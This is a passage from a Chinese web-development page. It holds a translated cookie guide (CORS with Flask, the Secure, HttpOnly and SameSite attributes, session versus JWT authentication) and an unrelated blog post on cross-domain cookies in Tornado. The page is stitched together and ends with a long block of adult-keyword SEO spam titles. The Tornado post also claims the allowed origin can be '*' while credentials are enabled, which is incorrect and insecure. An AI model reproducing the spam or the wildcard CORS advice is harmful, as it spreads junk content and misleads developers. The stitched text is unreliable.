            fetch("http://localhost:5000/api/cities/")
              .then(response => {
                // make sure to check response.ok in the real world!
                return response.json();
              })
              .then(json => console.log(json));
          }
          

          在同一文件夾中,從終端運(yùn)行:

          npx serve
          

          此命令為您提供了要連接的本地地址/端口,例如http://localhost:42091/。訪問(wèn)頁(yè)面并嘗試在瀏覽器控制臺(tái)打開(kāi)的情況下單擊按鈕。在控制臺(tái)中,可以看到:

          Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at http://localhost:5000/get-cookie/. (Reason: CORS header ‘Access-Control-Allow-Origin’ missing)
          

          因?yàn)?http://localhost:5000/ 與http://localhost:42091/.不同。它們是不同的域,因此會(huì) CORS 的限制。

          處理 CORS

          CORS 是一個(gè) W3C 標(biāo)準(zhǔn),全稱(chēng)是“跨域資源共享”(Cross-origin resource sharing)。它允許瀏覽器向跨域的服務(wù)器,發(fā)出XMLHttpRequest請(qǐng)求,從而克服了 AJAX 只能同源使用的限制。

          整個(gè) CORS 通信過(guò)程,都是瀏覽器自動(dòng)完成,不需要用戶(hù)參與。對(duì)于開(kāi)發(fā)者來(lái)說(shuō),CORS 通信與普通的 AJAX 通信沒(méi)有差別,代碼完全一樣。瀏覽器一旦發(fā)現(xiàn) AJAX 請(qǐng)求跨域,就會(huì)自動(dòng)添加一些附加的頭信息,有時(shí)還會(huì)多出一次附加的請(qǐng)求,但用戶(hù)不會(huì)有感知。因此,實(shí)現(xiàn) CORS 通信的關(guān)鍵是服務(wù)器。只要服務(wù)器實(shí)現(xiàn)了 CORS 接口,就可以跨域通信。

          默認(rèn)情況下,除非服務(wù)器設(shè)置了Access-Control-Allow-Origin的特定HTTP標(biāo)頭,否則瀏覽器將阻止AJAX對(duì)非相同來(lái)源的遠(yuǎn)程資源的請(qǐng)求。

          要解決此第一個(gè)錯(cuò)誤,我們需要為Flask配置CORS:

          pip install flask-cors
          

          然后將 CORS 應(yīng)用于 Flask:

          from flask import Flask, make_response, request, render_template, jsonify
          from flask_cors import CORS
          
          app = Flask(__name__)
          CORS(app=app)
          
          
          @app.route("/", methods=["GET"])
          def index():
              return render_template("index.html")
          
          
          @app.route("/get-cookie/", methods=["GET"])
          def get_cookie():
              response = make_response("Here, take some cookie!")
              response.set_cookie(key="id", value="3db4adj3d")
              return response
          
          
          @app.route("/api/cities/", methods=["GET"])
          def cities():
              if request.cookies["id"] == "3db4adj3d":
                  cities = [{"name": "Rome", "id": 1}, {"name": "Siena", "id": 2}]
                  return jsonify(cities)
              return jsonify(msg="Ops!")
          

          現(xiàn)在嘗試在瀏覽器控制臺(tái)打開(kāi)的情況下再次單擊按鈕。在控制臺(tái)中你應(yīng)該看到

          Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at http://localhost:5000/api/cities/. (Reason: CORS header ‘Access-Control-Allow-Origin’ missing)
          

          盡管我們犯了同樣的錯(cuò)誤,但這次的罪魁禍?zhǔn)资堑诙€(gè)路由。

          你可以通過(guò)查看 “Network” 標(biāo)簽中的請(qǐng)求來(lái)確認(rèn),沒(méi)有發(fā)送此類(lèi)Cookie:

          為了在不同來(lái)源的Fetch請(qǐng)求中包含cookie,我們必須提credentials 標(biāo)志(默認(rèn)情況下,它是相同來(lái)源)。

          如果沒(méi)有這個(gè)標(biāo)志,F(xiàn)etch 就會(huì)忽略 cookie,可以這樣修復(fù):

          const button = document.getElementsByTagName("button")[0];
          
          button.addEventListener("click", function() {
            getACookie().then(() => getData());
          });
          
          function getACookie() {
            return fetch("http://localhost:5000/get-cookie/", {
              credentials: "include"
            }).then(response => {
              // make sure to check response.ok in the real world!
              return Promise.resolve("All good, fetch the data");
            });
          }
          
          function getData() {
            fetch("http://localhost:5000/api/cities/", {
              credentials: "include"
            })
              .then(response => {
                // make sure to check response.ok in the real world!
                return response.json();
              })
              .then(json => console.log(json));
          }
          

          credentials: "include" 必須在第一個(gè) Fetch 請(qǐng)求中出現(xiàn),才能將Cookie保存在瀏覽器的Cookie storage 中:

          fetch("http://localhost:5000/get-cookie/", {
              credentials: "include"
            })
          

          它還必須在第二個(gè)請(qǐng)求時(shí)出現(xiàn),以允許將cookie傳輸回后端

            fetch("http://localhost:5000/api/cities/", {
              credentials: "include"
            })
          

          再試一次,我們還需要在后端修復(fù)另一個(gè)錯(cuò)誤:

          Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at http://localhost:5000/get-cookie/. (Reason: expected ‘true’ in CORS header ‘Access-Control-Allow-Credentials’).
          

          為了允許在CORS請(qǐng)求中傳輸cookie,后端還需要設(shè)置 Access-Control-Allow-Credentials標(biāo)頭。

          CORS(app=app, supports_credentials=True)
          

          要點(diǎn):為了使Cookie在不同來(lái)源之間通過(guò)AJAX請(qǐng)求傳遞,可以這樣做:

          • credentials: "include" 用于前端的 fetch 請(qǐng)求中
          • Access-Control-Allow-Credentials 和 Access-Control-Allow-Origin 用于后端

          cookie可以通過(guò)AJAX請(qǐng)求傳遞,但是它們必須遵守我們前面描述的域規(guī)則。

          Cookie 的 Secure 屬性

          Secure 屬性是說(shuō)如果一個(gè) cookie 被設(shè)置了Secure=true,那么這個(gè)cookie只能用https協(xié)議發(fā)送給服務(wù)器,用 http 協(xié)議是不發(fā)送的。換句話說(shuō),cookie 是在https的情況下創(chuàng)建的,而且他的Secure=true,那么之后你一直用https訪問(wèn)其他的頁(yè)面(比如登錄之后點(diǎn)擊其他子頁(yè)面),cookie會(huì)被發(fā)送到服務(wù)器,你無(wú)需重新登錄就可以跳轉(zhuǎn)到其他頁(yè)面。但是如果這時(shí)你把url改成http協(xié)議訪問(wèn)其他頁(yè)面,你就需要重新登錄了,因?yàn)檫@個(gè)cookie不能在http協(xié)議中發(fā)送。

          可以這樣設(shè)置 Secure 屬性

          response.set_cookie(key="id", value="3db4adj3d", secure=True)
          

          如果要在真實(shí)環(huán)境中嘗試,請(qǐng)可以運(yùn)行以下命令,并注意curl在此處是不通過(guò)HTTP保存cookie:

          curl -I http://serene-bastion-01422.herokuapp.com/get-secure-cookie/ --cookie-jar -
          

          相反,通過(guò)HTTPS,cookie 出現(xiàn)在cookie jar中:

          curl -I https://serene-bastion-01422.herokuapp.com/get-secure-cookie/ --cookie-jar -
          

          cookie jar 文件:

          serene-bastion-01422.herokuapp.com      FALSE   /       TRUE    0
          

          不要被Secure欺騙:瀏覽器通過(guò)HTTPS接受cookie,但是一旦cookie進(jìn)入瀏覽器,就沒(méi)有任何保護(hù)。

          因?yàn)閹в?Secure 的 Cookie 一般也不用于傳輸敏感數(shù)據(jù).

          Cookie 的 HttpOnly 屬性

          如果cookie中設(shè)置了HttpOnly屬性,那么通過(guò)js腳本將無(wú)法讀取到cookie信息,這樣能有效的防止XSS攻擊,竊取cookie內(nèi)容,這樣就增加了cookie的安全性,即便是這樣,也不要將重要信息存入cookie。

          XSS 全稱(chēng)Cross SiteScript,跨站腳本攻擊,是Web程序中常見(jiàn)的漏洞,XSS屬于被動(dòng)式且用于客戶(hù)端的攻擊方式,所以容易被忽略其危害性。其原理是攻擊者向有XSS漏洞的網(wǎng)站中輸入(傳入)惡意的HTML代碼,當(dāng)其它用戶(hù)瀏覽該網(wǎng)站時(shí),這段HTML代碼會(huì)自動(dòng)執(zhí)行,從而達(dá)到攻擊的目的。如,盜取用戶(hù)Cookie、破壞頁(yè)面結(jié)構(gòu)、重定向到其它網(wǎng)站等。

          如果有設(shè)置 HttpOnly 看起來(lái)是這樣的:

          Set-Cookie: "id=3db4adj3d; HttpOnly"
          

          在 Flask 中

          response.set_cookie(key="id", value="3db4adj3d", httponly=True)
          

          這樣,cookie 設(shè)置了HttpOnly屬性,那么通過(guò)js腳本將無(wú)法讀取到cookie信息。如果在控制臺(tái)中進(jìn)行檢查,則document.cookie將返回一個(gè)空字符串。

          何時(shí)使用HttpOnly?cookie 應(yīng)該始終是HttpOnly的,除非有特定的要求將它們暴露給運(yùn)行時(shí) JS。

          可怕的 SameSite 屬性

          first-party cookie 和 third-party cookie

          查看https://serene-bastion-01422.herokuapp.com/get-cookie/ 中所攜帶的 Cookie

          Set-Cookie: simplecookiename=c00l-c00k13; Path=/
          

          first-party是指你登錄或使用的網(wǎng)站所發(fā)行的 cookie,而third-party cookie 常為一些廣告網(wǎng)站,有侵犯隱私以及安全隱患。

          我們將這類(lèi) Cookie 稱(chēng)為 first-party。也就是說(shuō),我在瀏覽器中訪問(wèn)該URL,并且如果我訪問(wèn)相同的URL或該站點(diǎn)的另一個(gè)路徑(假設(shè)Path為/),則瀏覽器會(huì)將cookie發(fā)送回該網(wǎng)站。

          現(xiàn)在考慮在https://serene-bastion-01422.herokuapp.com/get-frog/上的另一個(gè)網(wǎng)頁(yè)。該頁(yè)面設(shè)置了一個(gè)cookie,此外,它還從https://www.valentinog.com/cookie-frog.jpg托管的遠(yuǎn)程資源中加載圖像。

          該遠(yuǎn)程資源又會(huì)自行設(shè)置一個(gè)cookie:

          我們將這種 cookie 稱(chēng)為third-party(第三方) Cookie。

          第三方 Cookie 除了用于 CSRF 攻擊,還可以用于用戶(hù)追蹤。比如,F(xiàn)acebook 在第三方網(wǎng)站插入一張看不見(jiàn)的圖片。

          <img src="facebook.com" style="visibility:hidden;">
          

          瀏覽器加載上面代碼時(shí),就會(huì)向 Facebook 發(fā)出帶有 Cookie 的請(qǐng)求,從而 Facebook 就會(huì)知道你是誰(shuí),訪問(wèn)了什么網(wǎng)站。

          使用 SameSite 屬性

          Cookie 的SameSite 屬性用來(lái)限制third-party Cookie,從而減少安全風(fēng)險(xiǎn)。它可以設(shè)置三個(gè)值。

          • Strict
          • Lax
          • None

          Strict最為嚴(yán)格,完全禁止第三方 Cookie,跨站點(diǎn)時(shí),任何情況下都不會(huì)發(fā)送 Cookie。換言之,只有當(dāng)前網(wǎng)頁(yè)的 URL 與請(qǐng)求目標(biāo)一致,才會(huì)帶上 Cookie。

          Set-Cookie: CookieName=CookieValue; SameSite=Strict;
          

          這個(gè)規(guī)則過(guò)于嚴(yán)格,可能造成非常不好的用戶(hù)體驗(yàn)。比如,當(dāng)前網(wǎng)頁(yè)有一個(gè) GitHub 鏈接,用戶(hù)點(diǎn)擊跳轉(zhuǎn)就不會(huì)帶有 GitHub 的 Cookie,跳轉(zhuǎn)過(guò)去總是未登陸狀態(tài)。

          Lax規(guī)則稍稍放寬,大多數(shù)情況也是不發(fā)送第三方 Cookie,但是導(dǎo)航到目標(biāo)網(wǎng)址的 Get 請(qǐng)求除外。

          
          Set-Cookie: CookieName=CookieValue; SameSite=Lax;
          

          導(dǎo)航到目標(biāo)網(wǎng)址的 GET 請(qǐng)求,只包括三種情況:鏈接,預(yù)加載請(qǐng)求,GET 表單。詳見(jiàn)下表。

          設(shè)置了Strict或Lax以后,基本就杜絕了 CSRF 攻擊。當(dāng)然,前提是用戶(hù)瀏覽器支持 SameSite 屬性。

          Chrome 計(jì)劃將Lax變?yōu)槟J(rèn)設(shè)置。這時(shí),網(wǎng)站可以選擇顯式關(guān)閉SameSite屬性,將其設(shè)為None。不過(guò),前提是必須同時(shí)設(shè)置Secure屬性(Cookie 只能通過(guò) HTTPS 協(xié)議發(fā)送),否則無(wú)效。

          下面的設(shè)置無(wú)效。

          Set-Cookie: widget_session=abc123; SameSite=None
          

          下面的設(shè)置有效。

          Set-Cookie: widget_session=abc123; SameSite=None; Secure
          

          Cookies 和 認(rèn)證

          身份驗(yàn)證是 web 開(kāi)發(fā)中最具挑戰(zhàn)性的任務(wù)之一。關(guān)于這個(gè)主題似乎有很多困惑,因?yàn)镴WT中的基于令牌的身份驗(yàn)證似乎要取代“舊的”、可靠的模式,如基于會(huì)話的身份驗(yàn)證。

          來(lái)看看 cookie 在這里扮演什么角色。

          基于會(huì)話的身份驗(yàn)證

          身份驗(yàn)證是 cookie 最常見(jiàn)的用例之一。

          當(dāng)你訪問(wèn)一個(gè)請(qǐng)求身份驗(yàn)證的網(wǎng)站時(shí),后端將通過(guò)憑據(jù)提交(例如通過(guò)表單)在后臺(tái)發(fā)送一個(gè)Set-Cookie標(biāo)頭到前端。

          型的會(huì)話 cookie 如下所示:

          Set-Cookie: sessionid=sty1z3kz11mpqxjv648mqwlx4ginpt6c; expires=Tue, 09 Jun 2020 15:46:52 GMT; HttpOnly; Max-Age=1209600; Path=/; SameSite=Lax
          

          這個(gè)Set-Cookie頭中,服務(wù)器可以包括一個(gè)名為session、session id或類(lèi)似的cookie。

          這是瀏覽器可以清楚看到的唯一標(biāo)識(shí)符。每當(dāng)通過(guò)身份驗(yàn)證的用戶(hù)向后端請(qǐng)求新頁(yè)面時(shí),瀏覽器就會(huì)發(fā)回會(huì)話cookie。

          基于會(huì)話的身份驗(yàn)證是有狀態(tài)的,因?yàn)楹蠖吮仨毟櫭總€(gè)用戶(hù)的會(huì)話。這些會(huì)話的存儲(chǔ)可能是:

          • 數(shù)據(jù)庫(kù)
          • 像 Redis 這樣的鍵/值存儲(chǔ)
          • 文件系統(tǒng)

          在這三個(gè)會(huì)話存儲(chǔ)中,Redis 之類(lèi)應(yīng)優(yōu)先于數(shù)據(jù)庫(kù)或文件系統(tǒng)。

          請(qǐng)注意,基于會(huì)話的身份驗(yàn)證與瀏覽器的會(huì)話存儲(chǔ)無(wú)關(guān)。

          之所以稱(chēng)為基于會(huì)話的會(huì)話,是因?yàn)橛糜谟脩?hù)識(shí)別的相關(guān)數(shù)據(jù)存在于后端的會(huì)話存儲(chǔ)中,這與瀏覽器的會(huì)話存儲(chǔ)不同。

          何時(shí)使用基于會(huì)話的身份驗(yàn)證

          只要能使用就使用它。基于會(huì)話的身份驗(yàn)證是一種最簡(jiǎn)單、安全、直接的網(wǎng)站身份驗(yàn)證形式。默認(rèn)情況下,它可以在Django等所有流行的web框架上使用。

          但是,它的狀態(tài)特性也是它的主要缺點(diǎn),特別是當(dāng)網(wǎng)站是由負(fù)載均衡器提供服務(wù)時(shí)。在這種情況下,像粘貼會(huì)話,或者在集中的Redis存儲(chǔ)上存儲(chǔ)會(huì)話這樣的技術(shù)會(huì)有所幫助。

          關(guān)于 JWT 的說(shuō)明

          JWT是 JSON Web Tokens的縮寫(xiě),是一種身份驗(yàn)證機(jī)制,近年來(lái)越來(lái)越流行。

          JWT 非常適合單頁(yè)和移動(dòng)應(yīng)用程序,但它帶來(lái)了一系列新挑戰(zhàn)。想要針對(duì)API進(jìn)行身份驗(yàn)證的前端應(yīng)用程序的典型流程如下:

          • 前端將憑證發(fā)送到后端
          • 后端檢查憑證并發(fā)回令牌
          • 前端在每個(gè)后續(xù)請(qǐng)求上帶上該令牌

          這種方法帶來(lái)的主要問(wèn)題是:為了使用戶(hù)保持登錄狀態(tài),我將該令牌存儲(chǔ)在前端的哪個(gè)地方?

          對(duì)于前端開(kāi)發(fā)來(lái)說(shuō),最自然的事情是將令牌保存在localStorage中。由于許多原因,這很糟糕。

          localStorage很容易從 JS 代碼訪問(wèn),而且它很容易成為XSS攻擊的目標(biāo)。

          為了解決此問(wèn)題,大多數(shù)開(kāi)發(fā)人員都將JWT令牌保存在cookie中,以為HttpOnly和Secure可以保護(hù)cookie,至少可以免受XSS攻擊。

          將 SameSite 設(shè)置為 strict 就可以完全保護(hù) JWT免受CSRF攻擊

          設(shè)置為SameSite=Strict的新SameSite屬性還將保護(hù)你的“熟化” JWT免受CSRF攻擊。但是,由于SameSite=Strict不會(huì)在跨域請(qǐng)求上發(fā)送cookie,因此,這也完全使JWT的用例無(wú)效。

          那SameSite=Lax呢?此模式允許使用安全的HTTP方法(即GET,HEAD,OPTIONS和TRACE)將 cookie發(fā)送回去。POST 請(qǐng)求不會(huì)以任何一種方式傳輸 cookie。

          實(shí)際上,將JWT標(biāo)記存儲(chǔ)在cookie或localStorage中都不是好主意。

          如果你確實(shí)要使用JWT而不是堅(jiān)持使用基于會(huì)話的身份驗(yàn)證并擴(kuò)展會(huì)話存儲(chǔ),則可能要使用帶有刷新令牌的JWT來(lái)保持用戶(hù)登錄。

          總結(jié)

          自1994年以來(lái),HTTP cookie一直存在,它們無(wú)處不在。

          Cookies是簡(jiǎn)單的文本字符串,但可以通過(guò)Domain和Path對(duì)其權(quán)限進(jìn)行控制,具有Secure的Cookie,只能通過(guò) HTTP S進(jìn)行傳輸,而可以使用 HttpOnly從 JS隱藏。

          但是,對(duì)于所有預(yù)期的用途,cookie都可能使用戶(hù)暴露于攻擊和漏洞之中。

          瀏覽器的供應(yīng)商和Internet工程任務(wù)組(Internet Engineering Task Force)年復(fù)一年地致力于提高cookie的安全性,最近的一步是SameSite。

          那么,什么才算是比較安全cookie?,如下幾點(diǎn):

          • 僅使用 HTTPS
          • 盡可能帶有 HttpOnly 屬性
          • 正確的SameSite配置
          • 不攜帶敏感數(shù)據(jù)

          人才們的 【三連】 就是小智不斷分享的最大動(dòng)力,如果本篇博客有任何錯(cuò)誤和建議,歡迎人才們留言,最后,謝謝大家的觀看。


          作者:valentinog 譯者:前端小智 來(lái)源:valentinog

          原文:https://gizmodo.com/the-complete-guide-to-cookies-and-all-the-stuff-w-1794247382

          近在寫(xiě)一個(gè)點(diǎn)贊功能的頁(yè)面,采用Ajax異步加載點(diǎn)贊數(shù)量,可是調(diào)用成功,但是瀏覽器端不顯示cookie信息,這讓小編整整弄了三四個(gè)小時(shí),最后得知是Ajax的跨域問(wèn)題,神坑啊~~~~~~~~

          首先看一下后端代碼,用Tornado框架寫(xiě)的,繼承web.py里面的方法,首先先看一下源代碼:

          def get_cookie(self, name, default=None):
           """Gets the value of the cookie with the given name, else default."""
          def set_cookie(self, name, value, domain=None, expires=None, path="/",
           expires_days=None, **kwargs):
           """Sets the given cookie name/value with the given options.
           Additional keyword arguments are set on the Cookie.Morsel
           directly.
           See http://docs.python.org/library/cookie.html#morsel-objects
           for available attributes.
           """
          def get_secure_cookie(self, name, value=None, max_age_days=31,
           min_version=None):
           """Returns the given signed cookie if it validates, or None.
           The decoded cookie value is returned as a byte string (unlike
           `get_cookie`).
           .. versionchanged:: 3.2.1
           Added the ``min_version`` argument. Introduced cookie version 2;
           both versions 1 and 2 are accepted by default.
           """
          def set_secure_cookie(self, name, value, expires_days=30, version=None,
           **kwargs):
           """Signs and timestamps a cookie so it cannot be forged.
           You must specify the ``cookie_secret`` setting in your Application
           to use this method. It should be a long, random sequence of bytes
           to be used as the HMAC secret for the signature.
           To read a cookie set with this method, use `get_secure_cookie()`.
           Note that the ``expires_days`` parameter sets the lifetime of the
           cookie in the browser, but is independent of the ``max_age_days``
           parameter to `get_secure_cookie`.
           Secure cookies may contain arbitrary byte values, not just unicode
           strings (unlike regular cookies)
           .. versionchanged:: 3.2.1
           Added the ``version`` argument. Introduced cookie version 2
           and made it the default.
           """
          

          詳細(xì)的實(shí)現(xiàn)過(guò)程可以看一下源代碼的邏輯,這里只簡(jiǎn)單說(shuō)一下set_cookie/set_secure_cookie兩個(gè)方法,主要區(qū)別就是value經(jīng)過(guò) create_signed_value的處理。set_secure_cookie能夠防止用戶(hù)的cookie被偽造。

          create_signed_value,得到當(dāng)前時(shí)間,將要存的value base64編碼,通過(guò)_cookie_signature將 加上name,這三個(gè)值加密生成簽名。然后將簽名,value的base64編碼,時(shí)間戳用|連接,作為cookie的值。

          _cookie_signature,就是根據(jù)settings里邊的 保密的密鑰生成簽名返回。

          get_secure_cookie,用|分割cookie的value,通過(guò)name,原value的base64的編碼,時(shí)間戳得到簽名,驗(yàn)證簽名是否正確,正確返回,還多了一個(gè)過(guò)期時(shí)間的判斷

          如果別人想偽造用戶(hù)的cookie,必須要知道密鑰,才能生成正確的簽名,不然通過(guò) get_secure_cookie獲取value的時(shí)候,不會(huì)通過(guò)驗(yàn)證,然后就不會(huì)返回偽造的cookie值。

          好了,介紹完就該踩坑了~~~~

          set_cookie后瀏覽器不顯示cookie信息,咋回事這是.......

          Ajax也沒(méi)什么問(wèn)題啊,好了好了,不賣(mài)關(guān)子了,哈哈上方法:

          Ajax請(qǐng)求

          crossDomain: true,//請(qǐng)求偏向外域
          xhrFields: {withCredentials: true},//一定要加上這兩個(gè)請(qǐng)求頭
          

          后端代碼

          self.set_header(name="Access-Control-Allow-Origin", value="http://localhost:63342")
          self.set_header(name="Access-Control-Allow-Credentials", value="true")
          

          這里面的Value就是你前端頁(yè)面的請(qǐng)求地址,也可以設(shè)置為*,所有請(qǐng)求地址都可以訪問(wèn).

          好啦,可以啦,哦啦啦...........


          主站蜘蛛池模板: 国产在线精品一区二区在线观看| 国产精品美女一区二区三区| 狠狠爱无码一区二区三区| 韩国福利视频一区二区 | 熟妇人妻AV无码一区二区三区| 亚洲色精品三区二区一区| 日韩人妻无码一区二区三区| 精品久久久中文字幕一区| 91在线看片一区国产| 久久精品无码一区二区日韩AV| 精品国产一区二区三区久久狼| 亚洲国产老鸭窝一区二区三区| 日韩视频一区二区在线观看| 91福利一区二区| 国产剧情国产精品一区| www.亚洲一区| 秋霞电影网一区二区三区| 亚洲午夜电影一区二区三区| 国产综合无码一区二区三区| 在线|一区二区三区| 亚洲欧美日韩一区二区三区在线| 亚洲欧洲一区二区| 亚洲无线码在线一区观看| 中文字幕一区二区三区在线不卡 | 国产亚洲综合一区柠檬导航 | 国产精品高清一区二区人妖| 一区二区乱子伦在线播放| 亚洲视频一区二区| 日韩毛片一区视频免费| 国产未成女一区二区三区 | 国产爆乳无码一区二区麻豆| 亚洲AV永久无码精品一区二区国产| 怡红院AV一区二区三区| 亚洲国产系列一区二区三区| 久久久久人妻一区精品色| 亚洲av无码片区一区二区三区| 日韩人妻一区二区三区蜜桃视频| 日本不卡一区二区三区视频| 国产成人无码一区二区三区| 久久一区二区三区免费播放| 亚洲乱色熟女一区二区三区丝袜|